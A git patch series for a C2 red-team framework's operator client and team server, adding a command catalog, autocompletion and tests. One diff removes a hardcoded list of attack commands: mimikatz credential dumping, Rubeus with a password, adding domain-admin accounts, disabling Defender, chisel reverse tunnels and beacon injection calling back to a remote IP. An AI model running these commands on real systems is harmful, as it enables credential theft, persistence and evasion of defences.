[] + server_by_name = {text: children for text, children in server_data} + fallback_by_name = {text: children for text, children in fallback_data} + + for text, server_children in server_data: + merged.append((text, _merge_child_entries(server_children, fallback_by_name.get(text, [])))) + + for text, fallback_children in fallback_data: + if text not in server_by_name: + merged.append((text, fallback_children)) + return merged + + +def load_server_completer_data(grpcClient): + if grpcClient is None or not hasattr(grpcClient, "listCommands"): + return [] + try: + query = TeamServerApi_pb2.CommandQuery() + return command_specs_to_completer_data(list(grpcClient.listCommands(query))) + except Exception as exc: + logger.debug("Falling back to static command completer data: %s", exc) + return [] + + +def build_completer_data(grpcClient=None): + server_data = load_server_completer_data(grpcClient) + if not server_data: + return completerData + return merge_completer_data(server_data, completerData) + + # # Fix console rendering # @@ -484,6 +578,11 @@ def __init__(self, parent, grpcClient): self.tabs.addTab(tab, ArtifactTabTitle) self.tabs.setCurrentIndex(self.tabs.count()-1) + self.commands = Commands(self, self.grpcClient) + tab = self.createConsolePage(self.commands) + self.tabs.addTab(tab, CommandTabTitle) + self.tabs.setCurrentIndex(self.tabs.count()-1) + self.assistant = Assistant(self, self.grpcClient) tab = self.createConsolePage(self.assistant) self.tabs.addTab(tab, "Data AI") @@ -597,7 +696,7 @@ def __init__(self, parent, grpcClient, beaconHash, listenerHash, hostname, usern self.layout.addWidget(self.editorOutput, 8) self.loadConsoleLog() - self.commandEditor = CommandEditor() + self.commandEditor = CommandEditor(grpcClient=self.grpcClient) self.layout.addWidget(self.commandEditor, 2) self.commandEditor.returnPressed.connect(self.runCommand) @@ -959,7 +1058,7 @@ def quit(self) -> None: class CommandEditor(QLineEdit): tabPressed = pyqtSignal() - def __init__(self, parent: QWidget | None = None) -> None: + def __init__(self, parent: QWidget | None = None, grpcClient=None) -> None: super().__init__(parent) self.cmdHistory: list[str] = [] @@ -973,7 +1072,7 @@ def __init__(self, parent: QWidget | None = None) -> None: QShortcut(Qt.Key.Key_Up, self, self.historyUp) QShortcut(Qt.Key.Key_Down, self, self.historyDown) - self.codeCompleter = CodeCompleter(completerData, self) + self.codeCompleter = CodeCompleter(build_completer_data(grpcClient), self) # needed to clear the completer after activation self.codeCompleter.activated.connect(self.onActivated) self.setCompleter(self.codeCompleter) diff --git a/C2Client/TODO.md b/C2Client/TODO.md index b717642..9dde710 100644 --- a/C2Client/TODO.md +++ b/C2Client/TODO.md @@ -23,7 +23,7 @@ Objectif: rendre le client plus agreable pour un operateur, puis enrichir propre | 15 | [x] | Ameliorer le graph | M | Moyen | Fait. Layout auto qui separe listeners/beacons/pivots, positions manuelles preservees, boutons Auto/Fit/+/- zoom, labels/tooltips, fond sombre et connecteurs recalcules. | | 16 | [ ] | Generer des formulaires de commandes depuis les schemas assistant | L | Fort | Utiliser `assistant_agent/tools/schemas/*.json` pour proposer des commandes guidees sans tout taper a la main. | | 17 | [ ] | Ajouter `GetServerInfo` / `GetCapabilities` au proto | L | Fort | Version serveur, modules charges, features, chemins runtime, limites max message, auth mode. Premier vrai changement client-server. | -| 18 | [ ] | Ajouter `ListCommands` / `ListModules` structure | L | Tres fort | Remplacer l'autocompletion hardcodee par une source serveur: nom, OS, aide, arguments, exemples, module charge ou non. | +| 18 | [ ] | Ajouter `ListCommands` / `ListModules` structure | L | Tres fort | Partiel. `ListCommands` expose un catalogue serveur, tab UI `Commands`, autocomplete console avec fallback, manifests `sleep/end/listener/loadModule/unloadModule/pwd/whoami/ls/cd`. Reste `ListModules`, aide detaillee et completions contextuelles artifacts/modules charges. | | 19 | [ ] | Ajouter `ValidateCommand` / `DryRunCommand` | L | Tres fort | Verifier une commande sans l'envoyer au beacon; retourner erreur, hint, instruction preparee, fichiers requis. | | 20 | [ ] | Ajouter un modele d'erreurs type dans le proto | L | Fort | `code`, `message`, `hint`, `details`; eviter de parser du texte libre cote client. | | 21 | [ ] | Ajouter historique/audit operateur cote serveur | XL | Tres fort | Qui a envoye quoi, quand, sur quelle session, command_id, resultat, statut. Base pour recherche, replay, reporting. | diff --git a/C2Client/tests/test_command_panel.py b/C2Client/tests/test_command_panel.py new file mode 100644 index 0000000..54f14ab --- /dev/null +++ b/C2Client/tests/test_command_panel.py @@ -0,0 +1,106 @@ +from types import SimpleNamespace + +from PyQt6.QtWidgets import QWidget + +from C2Client.CommandPanel import Commands, format_arg_summary + + +class FakeGrpc: + def __init__(self): + self.queries = [] + self.commands = [ + SimpleNamespace( + name="sleep", + display_name="sleep", + kind="common", + description="Set beacon sleep interval.", + target="beacon", + requires_session=True, + platforms=["windows", "linux"], + archs=["any"], + args=[ + SimpleNamespace( + name="seconds", + type="number", + required=True, + description="Sleep interval.", + values=[], + variadic=False, + ) + ], + examples=["sleep 0.5"], + source="manifest", + ), + SimpleNamespace( + name="pwd", + display_name="pwd", + kind="module", + description="Print current working directory.", + target="beacon", + requires_session=True, + platforms=["windows", "linux"], + archs=["any"], + args=[], + examples=["pwd"], + source="manifest", + ), + ] + + def listCommands(self, query): + self.queries.append(query) + return iter(self.commands) + + +class FailingGrpc: + def listCommands(self, query): + raise RuntimeError("command catalog unavailable") + + +def test_format_arg_summary_handles_required_optional_and_variadic(): + command = SimpleNamespace( + args=[ + SimpleNamespace(name="path", type="path", required=False, variadic=True), + SimpleNamespace(name="mode", type="enum", required=True, variadic=False), + ] + ) + + assert format_arg_summary(command) == "[path:path]... mode:enum" + + +def test_commands_panel_lists_filters_and_details(qtbot): + grpc = FakeGrpc() + parent = QWidget() + panel = Commands(parent, grpc) + qtbot.addWidget(panel) + + assert panel.commandTable.rowCount() == 2 + assert panel.commandTable.item(0, 0).text() == "sleep" + assert panel.commandTable.item(0, 1).text() == "common" + assert panel.commandTable.item(0, 4).text() == "seconds:number" + assert panel.commandTable.item(0, 5).text() == "sleep 0.5" + + panel.kindFilter.setCurrentText("module") + panel.targetFilter.setCurrentText("beacon") + panel.platformFilter.setCurrentText("linux") + panel.searchInput.setText("pwd") + panel.refreshCommands() + + query = grpc.queries[-1] + assert query.kind == "module" + assert query.target == "beacon" + assert query.platform == "linux" + assert query.name_contains == "pwd" + + panel.commandTable.selectRow(0) + assert "Set beacon sleep interval." in panel.details.toPlainText() + assert "seconds" in panel.details.toPlainText() + + +def test_commands_panel_reports_refresh_errors(qtbot): + parent = QWidget() + panel = Commands(parent, FailingGrpc()) + qtbot.addWidget(panel) + + assert panel.commandTable.rowCount() == 0 + assert "command catalog unavailable" in panel.statusLabel.text() + assert "#b00020" in panel.statusLabel.styleSheet() diff --git a/C2Client/tests/test_console_panel.py b/C2Client/tests/test_console_panel.py index 932d26b..ca85deb 100644 --- a/C2Client/tests/test_console_panel.py +++ b/C2Client/tests/test_console_panel.py @@ -7,7 +7,7 @@ import sys sys.modules['grpcClient'] = grpc_client_module -from C2Client.ConsolePanel import Console, ConsolesTab +from C2Client.ConsolePanel import Console, ConsolesTab, command_specs_to_completer_data, merge_completer_data from C2Client.grpcClient import TeamServerApi_pb2 @@ -230,6 +230,7 @@ def test_consoles_tab_uses_dark_flush_pages(qtbot, monkeypatch): monkeypatch.setattr('C2Client.ConsolePanel.Terminal', DummyPanel) monkeypatch.setattr('C2Client.ConsolePanel.Script', DummyPanel) monkeypatch.setattr('C2Client.ConsolePanel.Artifacts', DummyPanel) + monkeypatch.setattr('C2Client.ConsolePanel.Commands', DummyPanel) monkeypatch.setattr('C2Client.ConsolePanel.Assistant', DummyPanel) parent = QWidget() @@ -240,7 +241,8 @@ def test_consoles_tab_uses_dark_flush_pages(qtbot, monkeypatch): assert consoles.tabs.objectName() == "C2ConsoleTabs" assert consoles.tabs.tabText(1) == "Hooks" assert consoles.tabs.tabText(2) == "Artifacts" - assert consoles.tabs.tabText(3) == "Data AI" + assert consoles.tabs.tabText(3) == "Commands" + assert consoles.tabs.tabText(4) == "Data AI" assert "#0b1117" in consoles.styleSheet() assert "#070b10" in consoles.styleSheet() assert consoles.layout.contentsMargins().left() == 0 @@ -256,3 +258,27 @@ def test_consoles_tab_uses_dark_flush_pages(qtbot, monkeypatch): assert page.layout().contentsMargins().left() == 0 assert page.layout().contentsMargins().top() == 0 assert page.layout().spacing() == 0 + + +def test_command_specs_seed_console_completer_without_losing_fallback(): + sleep_spec = SimpleNamespace( + name="sleep", + examples=["sleep 0.5"], + args=[ + SimpleNamespace(name="seconds", type="number", values=[]), + ], + ) + custom_spec = SimpleNamespace( + name="custom", + examples=["custom --flag"], + args=[], + ) + + server_data = command_specs_to_completer_data([sleep_spec, custom_spec]) + merged = merge_completer_data(server_data, [("sleep", [("10", [])]), ("legacy", [])]) + + assert ("custom", [("--flag", [])]) in merged + sleep_entry = next(children for text, children in merged if text == "sleep") + assert ("0.5", []) in sleep_entry + assert ("10", []) in sleep_entry + assert ("legacy", []) in merged diff --git a/core b/core index 897d739..daf8d8c 160000 --- a/core +++ b/core @@ -1 +1 @@ -Subproject commit 897d739aba39be96466711a35c492c5cdf762394 +Subproject commit daf8d8ca3d47bf23c86f72848c118a4484fa9e24 diff --git a/packaging/validate_release.py b/packaging/validate_release.py index 6ccd319..f363e25 100644 --- a/packaging/validate_release.py +++ b/packaging/validate_release.py @@ -238,6 +238,13 @@ def validate_base_release(release_root: Path) -> None: _require_non_empty_file(command_specs_root / "common" / "sleep.json") _require_non_empty_file(command_specs_root / "common" / "end.json") + _require_non_empty_file(command_specs_root / "common" / "listener.json") + _require_non_empty_file(command_specs_root / "common" / "loadModule.json") + _require_non_empty_file(command_specs_root / "common" / "unloadModule.json") + _require_non_empty_file(command_specs_root / "modules" / "pwd.json") + _require_non_empty_file(command_specs_root / "modules" / "whoami.json") + _require_non_empty_file(command_specs_root / "modules" / "ls.json") + _require_non_empty_file(command_specs_root / "modules" / "cd.json") _require_non_empty_file(client_root / "README.md") _require_non_empty_file(client_root / "pyproject.toml") diff --git a/teamServer/CMakeLists.txt b/teamServer/CMakeLists.txt index 4d7c6a4..e0caee9 100644 --- a/teamServer/CMakeLists.txt +++ b/teamServer/CMakeLists.txt @@ -88,6 +88,16 @@ add_custom_command(TARGET TeamServer POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy ${CMAKE_SOURCE_DIR}/teamServer/teamServer/auth_credentials.json "${C2_TEAMSERVER_RUNTIME_OUTPUT_DIR}/auth_credentials.json") add_custom_command(TARGET TeamServer POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy_directory ${CMAKE_SOURCE_DIR}/core/modules/ModuleCmd/CommandSpecs "${C2_RUNTIME_ROOT}/CommandSpecs") +add_custom_command(TARGET TeamServer POST_BUILD COMMAND ${CMAKE_COMMAND} -E make_directory + "${C2_RUNTIME_ROOT}/CommandSpecs/modules") +add_custom_command(TARGET TeamServer POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy + ${CMAKE_SOURCE_DIR}/core/modules/PrintWorkingDirectory/pwd.json "${C2_RUNTIME_ROOT}/CommandSpecs/modules/pwd.json") +add_custom_command(TARGET TeamServer POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy + ${CMAKE_SOURCE_DIR}/core/modules/Whoami/whoami.json "${C2_RUNTIME_ROOT}/CommandSpecs/modules/whoami.json") +add_custom_command(TARGET TeamServer POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy + ${CMAKE_SOURCE_DIR}/core/modules/ListDirectory/ls.json "${C2_RUNTIME_ROOT}/CommandSpecs/modules/ls.json") +add_custom_command(TARGET TeamServer POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy + ${CMAKE_SOURCE_DIR}/core/modules/ChangeDirectory/cd.json "${C2_RUNTIME_ROOT}/CommandSpecs/modules/cd.json") function(teamserver_add_test target_name link_target) add_executable(${target_name} ${ARGN}) From 00b45aa9edf89c9459fde599302871dfc5fb39ae Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Tue, 5 May 2026 14:48:22 +0200 Subject: [PATCH 25/82] feat(modules): expose ListModules and track loaded beacon modules --- C2Client/C2Client/ConsolePanel.py | 644 +++++++++--------- C2Client/C2Client/grpcClient.py | 7 + C2Client/C2Client/protocol_bindings.py | 40 +- C2Client/TODO.md | 2 +- C2Client/tests/test_console_panel.py | 152 ++++- C2Client/tests/test_protocol_bindings.py | 32 + core | 2 +- packaging/validate_release.py | 12 + protocol/TeamServerApi.proto | 13 + teamServer/CMakeLists.txt | 37 +- teamServer/teamServer/TeamServer.cpp | 9 + teamServer/teamServer/TeamServer.hpp | 1 + .../TeamServerListenerSessionService.cpp | 312 ++++++++- .../TeamServerListenerSessionService.hpp | 37 + .../TeamServerListenerSessionServiceTests.cpp | 140 ++++ 15 files changed, 1094 insertions(+), 346 deletions(-) diff --git a/C2Client/C2Client/ConsolePanel.py b/C2Client/C2Client/ConsolePanel.py index fa66fe0..82a2f8e 100644 --- a/C2Client/C2Client/ConsolePanel.py +++ b/C2Client/C2Client/ConsolePanel.py @@ -5,6 +5,7 @@ import json import logging from datetime import datetime +from typing import Any from PyQt6.QtCore import QObject, Qt, QEvent, QThread, QTimer, pyqtSignal from PyQt6.QtGui import QStandardItem, QStandardItemModel, QTextCursor, QTextDocument, QShortcut @@ -72,272 +73,17 @@ CmdHistoryFileName = ".cmdHistory" HelpInstruction = "help" -SleepInstruction = "sleep" -EndInstruction = "end" -ListenerInstruction = "listener" -LoadModuleInstruction = "loadModule" - -AssemblyExecInstruction = "assemblyExec" -UploadInstruction = "upload" -RunInstruction = "run" -DownloadInstruction = "download" -InjectInstruction = "inject" -ScriptInstruction = "script" -PwdInstruction = "pwd" -CdInstruction = "cd" -LsInstruction = "ls" -PsInstruction = "ps" -CatInstruction = "cat" -TreeInstruction = "tree" -MakeTokenInstruction = "makeToken" -Rev2selfInstruction = "rev2self" -StealTokenInstruction = "stealToken" -CoffLoaderInstruction = "coffLoader" -UnloadModuleInstruction = "unloadModule" -KerberosUseTicketInstruction = "kerberosUseTicket" -PowershellInstruction = "powershell" -ChiselInstruction = "chisel" -PsExecInstruction = "psExec" -WmiInstruction = "wmiExec" -SpawnAsInstruction = "spawnAs" -EvasionInstruction = "evasion" -KeyLoggerInstruction = "keyLogger" -MiniDumpInstruction = "miniDump" -DotnetExecInstruction = "dotnetExec" - -StartInstruction = "start" -StopInstruction = "stop" - -completerData = [ - (HelpInstruction,[]), - (SleepInstruction,[]), - (EndInstruction,[]), - (ListenerInstruction,[ - (StartInstruction+' smb pipename',[]), - (StartInstruction+' tcp 127.0.0.1 4444',[]), - (StopInstruction, []), - ]), - (AssemblyExecInstruction,[ - ('-e',[ - ('mimikatz.exe',[ - ('"!+" "!processprotect /process:lsass.exe /remove" "privilege::debug" "exit"',[]), - ('"privilege::debug" "lsadump::dcsync /domain:m3c.local /user:krbtgt" "exit"',[]), - ('"privilege::debug" "lsadump::lsa /inject /name:joe" "exit"',[]), - ('"sekurlsa::logonpasswords" "exit"', []), - ('"sekurlsa::ekeys" "exit"', []), - ('"lsadump::sam" "exit"', []), - ('"lsadump::cache" "exit"', []), - ('"lsadump::secrets" "exit"', []), - ('"dpapi::chrome /in:"""C:\\Users\\CyberVuln\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"""" "exit"', []), - ('"dpapi::cred /in:C:\\Users\\joe\\AppData\\Local\\Microsoft\\Credentials\\DFBE70A7E5CC19A398EBF1B96859CE5D" "exit"', []), - ('"sekurlsa::dpapi" "exit"', []), - ('"dpapi::masterkey /in:C:\\Users\\joe\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-308422719-809814085-1049341588-1001/36bf2476-ed68-4bf9-9604-c84a6e8bcb03 /rpc" "exit"', []), - ]), - - ('SharpView.exe Get-DomainComputer', []), - ('Rubeus.exe',[ - ('triage',[]), - ('purge',[]), - ('asktgt /user:OFFSHORE_ADM /password:Banker!123 /domain:client.offshore.com /nowrap /ptt', []), - ('s4u /user:MS02$ /aes256:a7ef524856fbf9113682384b725292dec23e54ab4e66cfdca8dd292b1bb198ae /impersonateuser:administrator /msdsspn:cifs/dc04.client.OFFSHORE.COM /altservice:host /nowrap /ptt', []), - ]), - ('Seatbelt.exe',[ - ('-group=system',[]), - ('-group=user',[]), - ]), - ('SharpHound.exe -c All -d dev.admin.offshore.com', []), - ('SweetPotato.exe -e EfsRpc -p C:\\Users\\Public\\Documents\\implant.exe', []), - ]), - ]), - (UploadInstruction,[]), - (RunInstruction,[ - ('cmd /c', []), - ('cmd /c sc query', []), - ('cmd /c wmic service where caption="Serviio" get name, caption, state, startmode', []), - ('cmd /c where /r c:\\ *.txt', []), - ('cmd /c tasklist /SVC', []), - ('cmd /c taskkill /pid 845 /f', []), - ('cmd /c schtasks /query /fo LIST /v', []), - ('cmd /c net user superadmin123 Password123!* /add', []), - ('cmd /c net localgroup administrators superadmin123 /add', []), - ('cmd /c net user superadmin123 Password123!* /add /domain', []), - ('cmd /c net group "domain admins" superadmin123 /add /domain', []), - ]), - (DownloadInstruction,[]), - (InjectInstruction,[ - ('-e BeaconHttp.exe -1 10.10.15.34 8443 https', []), - ('-e implant.exe -1', []), - ]), - (ScriptInstruction,[]), - (PwdInstruction,[]), - (CdInstruction,[]), - (LsInstruction,[]), - (PsInstruction,[]), - (CatInstruction,[]), - (TreeInstruction,[]), - (MakeTokenInstruction,[]), - (Rev2selfInstruction,[]), - (StealTokenInstruction,[]), - (CoffLoaderInstruction,[ - ('adcs_enum.x64.o', [('go',[])]), - ('adcs_enum_com.x64.o', [('go ZZ hostname sharename',[])]), - ('adcs_enum_com2.x64.o', [('go',[])]), - ('adv_audit_policies.x64.o', [('go',[])]), - ('arp.x64.o', [('go',[])]), - ('cacls.x64.o', [('go zz hostname servicename',[])]), - ('dir.x64.o', [('go Zs targetdir subdirs',[])]), - ('driversigs.x64.o', [('go Zi name, 0',[])]), - ('enum_filter_driver.x64.o', [('go',[])]), - ('enumlocalsessions.x64.o', [('go zz modname procname',[])]), - ('env.x64.o', [('go',[])]), - ('findLoadedModule.x64.o', [('go',[])]), - ('get-netsession.x64.o', [('go',[])]), - ('get_password_policy.x64.o', [('go Z server',[])]), - ('ipconfig.x64.o', [('go',[])]), - ('ldapsearch.x64.o', [('go zzizz 2 attributes result_limit hostname domain',[])]), - ('listdns.x64.o', [('go',[])]), - ('listmods.x64.o', [('go i pid',[])]), - ('locale.x64.o', [('go',[])]), - ('netgroup.x64.o', [('go sZZ type server group',[])]), - ('netlocalgroup.x64.o', [('go',[])]), - ('netshares.x64.o', [('go Zi name, 1',[])]), - ('netstat.x64.o', [('go',[])]), - ('netuse.x64.o', [('go sZZZZss 1 share user password device persist requireencrypt',[])]), - ('netuser.x64.o', [('go ZZ 2 domain',[])]), - ('netuserenum.x64.o', [('go',[])]), - ('netview.x64.o', [('go Z domain',[])]), - ('nonpagedldapsearch.x64.o', [('go zzizz 2 attributes result_limit hostname domain',[])]), - ('nslookup.x64.o', [('go zzs lookup server type',[])]), - ('probe.x64.o', [('go zi host port',[])]), - ('reg_query.x64.o', [('go zizzi hostname hive path key, 0',[])]), - ('resources.x64.o', [('go',[])]), - ('routeprint.x64.o', [('go',[])]), - ('sc_enum.x64.o', [('go',[])]), - ('schtasksenum.x64.o', [('go ZZ 2 3',[])]), - ('schtasksquery.x64.o', [('go',[])]), - ('sc_qc.x64.o', [('go zz hostname servicename',[])]), - ('sc_qdescription.x64.o', [('go zz hostname servicename',[])]), - ('sc_qfailure.x64.o', [('go',[])]), - ('sc_qtriggerinfo.x64.o', [('go',[])]), - ('sc_query.x64.o', [('go',[])]), - ('tasklist.x64.o', [('go Z system',[])]), - ('uptime.x64.o', [('go',[])]), - ('vssenum.x64.o', [('go',[])]), - ('whoami.x64.o', [('go',[])]), - ('windowlist.x64.o', [('go',[])]), - ('wmi_query.x64.o', [('go ZZZ system namespace query',[])]), - ]), - (MiniDumpInstruction, [ - ('dump dump.xor', []), - ('decrypt /tmp/dump.xor', []), - ]), - (DotnetExecInstruction, [ - ('load rub Rubeus.exe', []), - ('runExe rub help', []), - ]), - (UnloadModuleInstruction,[ - (AssemblyExecInstruction, []), - (CdInstruction, []), - (CoffLoaderInstruction, []), - (DownloadInstruction, []), - (InjectInstruction, []), - (LsInstruction, []), - (PsInstruction, []), - (MakeTokenInstruction, []), - (PwdInstruction, []), - (Rev2selfInstruction, []), - (RunInstruction, []), - (ScriptInstruction, []), - (StealTokenInstruction, []), - (UploadInstruction, []), - (PowershellInstruction, []), - (PsExecInstruction, []), - (KerberosUseTicketInstruction, []), - (ChiselInstruction, []), - (EvasionInstruction, []), - (SpawnAsInstruction, []), - (WmiInstruction, []), - (KeyLoggerInstruction, []), - (MiniDumpInstruction, []), - (DotnetExecInstruction, []), - ]), - (KerberosUseTicketInstruction,[]), - (PowershellInstruction,[ - ('-i PowerView.ps1', []), - ('Get-Domain', []), - ('Get-DomainTrust', []), - ('Get-DomainUser', []), - ('Get-DomainComputer -Properties DnsHostName', []), - ('powershell Get-NetSession -ComputerName MS01 | select CName, UserName', []), - ('-i PowerUp.ps1', []), - ('Invoke-AllChecks', []), - ('-i Powermad.ps1', []), - ('-i PowerUpSQL.ps1', []), - ('Set-MpPreference -DisableRealtimeMonitoring $true', []), - ]), - (ChiselInstruction,[ - ('status', []), - ('stop', []), - ('chisel.exe client 192.168.57.21:9001 R:socks', []), - ('chisel.exe client 192.168.57.21:9001 R:445:192.168.57.14:445', []), - ]), - (PsExecInstruction,[ - ('10.10.10.10 implant.exe', []), - ]), - (WmiInstruction,[ - ('10.10.10.10 implant.exe', []), - ]), - (SpawnAsInstruction,[ - ('user password implant.exe', []), - ]), - (EvasionInstruction,[ - ('CheckHooks', []), - ('Unhook', []), - ]), - (KeyLoggerInstruction,[ - ('start', []), - ('stop', []), - ('dump', []), - ]), - (LoadModuleInstruction,[ - ('changeDirectory', []), - ('listDirectory', []), - ('listProcesses', []), - ('printWorkingDirectory', []), - (CdInstruction, []), - (LsInstruction, []), - (PsInstruction, []), - (PwdInstruction, []), - (AssemblyExecInstruction, []), - (CoffLoaderInstruction, []), - (DownloadInstruction, []), - (InjectInstruction, []), - (MakeTokenInstruction, []), - (Rev2selfInstruction, []), - (RunInstruction, []), - (ScriptInstruction, []), - (StealTokenInstruction, []), - (UploadInstruction, []), - (PowershellInstruction, []), - (PsExecInstruction, []), - (KerberosUseTicketInstruction, []), - (ChiselInstruction, []), - (EvasionInstruction, []), - (SpawnAsInstruction, []), - (WmiInstruction, []), - (KeyLoggerInstruction, []), - (MiniDumpInstruction, []), - (DotnetExecInstruction, []), - ]), -] - - -def _completion_child(text): - text = str(text or "").strip() - return (text, []) if text else None - - -def _completion_suffix(command_name, example): +COMPLETER_REFRESH_SECONDS = 5.0 + +MODULE_COMMAND_ALIASES = { + "changedirectory": "cd", + "listdirectory": "ls", + "listprocesses": "ps", + "printworkingdirectory": "pwd", +} + + +def _completion_suffix(command_name: Any, example: Any): command_name = str(command_name or "").strip() example = str(example or "").strip() if not command_name or not example: @@ -350,79 +96,315 @@ def _completion_suffix(command_name, example): return example -def _command_spec_children(command): - children = [] - seen = set() +def _entry_text(entry: tuple[str, list]) -> str: + return entry[0] - for example in getattr(command, "examples", []): - child = _completion_child(_completion_suffix(getattr(command, "name", ""), example)) - if child and child[0] not in seen: - children.append(child) - seen.add(child[0]) - for arg in getattr(command, "args", []): - for value in getattr(arg, "values", []): - child = _completion_child(value) - if child and child[0] not in seen: - children.append(child) - seen.add(child[0]) +def _find_entry(entries: list[tuple[str, list]], text: str): + for entry in entries: + if _entry_text(entry) == text: + return entry + return None - return children +def _add_completion_path(entries: list[tuple[str, list]], parts: list[str]) -> None: + if not parts: + return + text = str(parts[0] or "").strip() + if not text: + _add_completion_path(entries, parts[1:]) + return -def command_specs_to_completer_data(command_specs): - entries = [] - seen = set() - for command in command_specs: - name = str(getattr(command, "name", "") or "").strip() - if not name or name in seen: - continue - entries.append((name, _command_spec_children(command))) - seen.add(name) - return entries + entry = _find_entry(entries, text) + if entry is None: + entry = (text, []) + entries.append(entry) + _add_completion_path(entry[1], parts[1:]) + + +def _add_completion_value(entries: list[tuple[str, list]], value: Any) -> None: + text = str(value or "").strip() + if text: + _add_completion_path(entries, text.split()) + + +def _merge_completion_entries(destination: list[tuple[str, list]], source: list[tuple[str, list]]) -> None: + for text, children in source: + _add_completion_path(destination, [text]) + destination_entry = _find_entry(destination, text) + if destination_entry is not None and children: + _merge_completion_entries(destination_entry[1], children) -def _merge_child_entries(primary, fallback): - merged = [] +def _add_example_completions(children: list[tuple[str, list]], command: Any) -> None: + command_name = getattr(command, "name", "") + for example in getattr(command, "examples", []): + suffix = _completion_suffix(command_name, example) + if suffix: + _add_completion_value(children, suffix) + + +def _add_first_arg_value_completions(children: list[tuple[str, list]], command: Any) -> None: + args = list(getattr(command, "args", [])) + if not args: + return + for value in getattr(args[0], "values", []): + _add_completion_value(children, value) + + +def _normalized_module_name(value: Any) -> str: + name = os.path.basename(str(value or "").strip()) + if "." in name: + name = name.rsplit(".", 1)[0] + if name.lower().startswith("lib") and len(name) > 3: + name = name[3:] + if not name: + return "" + return name[0].lower() + name[1:] + + +def _artifact_completion_values(artifact: Any) -> list[str]: + names = [ + _normalized_module_name(getattr(artifact, "display_name", "")), + _normalized_module_name(getattr(artifact, "name", "")), + str(getattr(artifact, "display_name", "") or "").strip(), + str(getattr(artifact, "name", "") or "").strip(), + ] + alias = MODULE_COMMAND_ALIASES.get(names[0].lower(), "") if names and names[0] else "" + return _dedupe_values([alias, *names]) + + +def _canonical_module_completion_name(value: Any) -> str: + normalized = _normalized_module_name(value) + if not normalized: + return "" + return MODULE_COMMAND_ALIASES.get(normalized.lower(), normalized) + + +def _remove_module_completions(children: list[tuple[str, list]], blocked_modules: set[str]) -> None: + if not blocked_modules: + return + children[:] = [ + child + for child in children + if _canonical_module_completion_name(child[0]) not in blocked_modules + ] + + +def _dedupe_values(values: list[Any]) -> list[str]: + result = [] seen = set() - for text, children in [*primary, *fallback]: - if text in seen: + for value in values: + text = str(value or "").strip() + if not text or text in seen: continue - merged.append((text, children)) + result.append(text) seen.add(text) - return merged + return result + + +def _session_platform(session: Any | None) -> str: + os_text = str(getattr(session, "os", "") or "").lower() + if "windows" in os_text or os_text.startswith("win"): + return "windows" + if "linux" in os_text: + return "linux" + if "mac" in os_text or "darwin" in os_text or "os x" in os_text: + return "macos" + return "" + + +def _resolve_filter_value(value: Any, session: Any | None) -> str: + text = str(value or "").strip() + if text == "session.platform": + return _session_platform(session) + if text == "session.arch": + return str(getattr(session, "arch", "") or "").strip() + return text + + +def _arg_has_artifact_filter(arg: Any) -> bool: + if not hasattr(arg, "artifact_filter"): + return False + artifact_filter = getattr(arg, "artifact_filter") + if hasattr(arg, "HasField"): + try: + return bool(arg.HasField("artifact_filter")) + except ValueError: + pass + return artifact_filter is not None + + +def _artifact_query_from_arg(arg: Any, session: Any | None) -> Any: + artifact_filter = getattr(arg, "artifact_filter", None) + query = TeamServerApi_pb2.ArtifactQuery() + for field_name in ("category", "scope", "target", "platform", "arch", "runtime"): + value = _resolve_filter_value(getattr(artifact_filter, field_name, ""), session) + if value: + setattr(query, field_name, value) + return query + + +def _load_commands(grpcClient: Any) -> list[Any]: + if grpcClient is None or not hasattr(grpcClient, "listCommands"): + return [] + try: + query = TeamServerApi_pb2.CommandQuery() + return list(grpcClient.listCommands(query)) + except Exception as exc: + logger.debug("Command autocomplete could not load CommandSpec catalog: %s", exc) + return [] + + +def _load_current_session(grpcClient: Any, beaconHash: str, listenerHash: str) -> Any | None: + if grpcClient is None or not hasattr(grpcClient, "listSessions") or not beaconHash: + return None + try: + for session in grpcClient.listSessions(): + if getattr(session, "beacon_hash", "") != beaconHash: + continue + if listenerHash and getattr(session, "listener_hash", "") != listenerHash: + continue + return session + except Exception as exc: + logger.debug("Command autocomplete could not load session context: %s", exc) + return None -def merge_completer_data(server_data, fallback_data): - merged = [] - server_by_name = {text: children for text, children in server_data} - fallback_by_name = {text: children for text, children in fallback_data} +def _load_listener_hashes(grpcClient: Any) -> list[str]: + if grpcClient is None or not hasattr(grpcClient, "listListeners"): + return [] + try: + return _dedupe_values([getattr(listener, "listener_hash", "") for listener in grpcClient.listListeners()]) + except Exception as exc: + logger.debug("Command autocomplete could not load listener context: %s", exc) + return [] - for text, server_children in server_data: - merged.append((text, _merge_child_entries(server_children, fallback_by_name.get(text, [])))) - for text, fallback_children in fallback_data: - if text not in server_by_name: - merged.append((text, fallback_children)) - return merged +def _load_modules_for_session(grpcClient: Any, beaconHash: str, listenerHash: str) -> list[Any]: + if grpcClient is None or not hasattr(grpcClient, "listModules") or not beaconHash: + return [] + try: + session = TeamServerApi_pb2.SessionSelector(beacon_hash=beaconHash, listener_hash=listenerHash) + return list(grpcClient.listModules(session)) + except Exception as exc: + logger.debug("Command autocomplete could not load module context: %s", exc) + return [] -def load_server_completer_data(grpcClient): - if grpcClient is None or not hasattr(grpcClient, "listCommands"): +def _load_artifacts_for_arg(grpcClient: Any, arg: Any, session: Any | None) -> list[Any]: + if grpcClient is None or not hasattr(grpcClient, "listArtifacts") or not _arg_has_artifact_filter(arg): return [] try: - query = TeamServerApi_pb2.CommandQuery() - return command_specs_to_completer_data(list(grpcClient.listCommands(query))) + return list(grpcClient.listArtifacts(_artifact_query_from_arg(arg, session))) except Exception as exc: - logger.debug("Falling back to static command completer data: %s", exc) + logger.debug("Command autocomplete could not load artifact context: %s", exc) return [] -def build_completer_data(grpcClient=None): - server_data = load_server_completer_data(grpcClient) - if not server_data: - return completerData - return merge_completer_data(server_data, completerData) +def _module_command_names(command_specs: list[Any]) -> list[str]: + return _dedupe_values([ + getattr(command, "name", "") + for command in command_specs + if str(getattr(command, "kind", "") or "").lower() == "module" + ]) + + +def _tracked_module_names(modules: list[Any], states: set[str]) -> list[str]: + return _dedupe_values([ + getattr(module, "name", "") + for module in modules 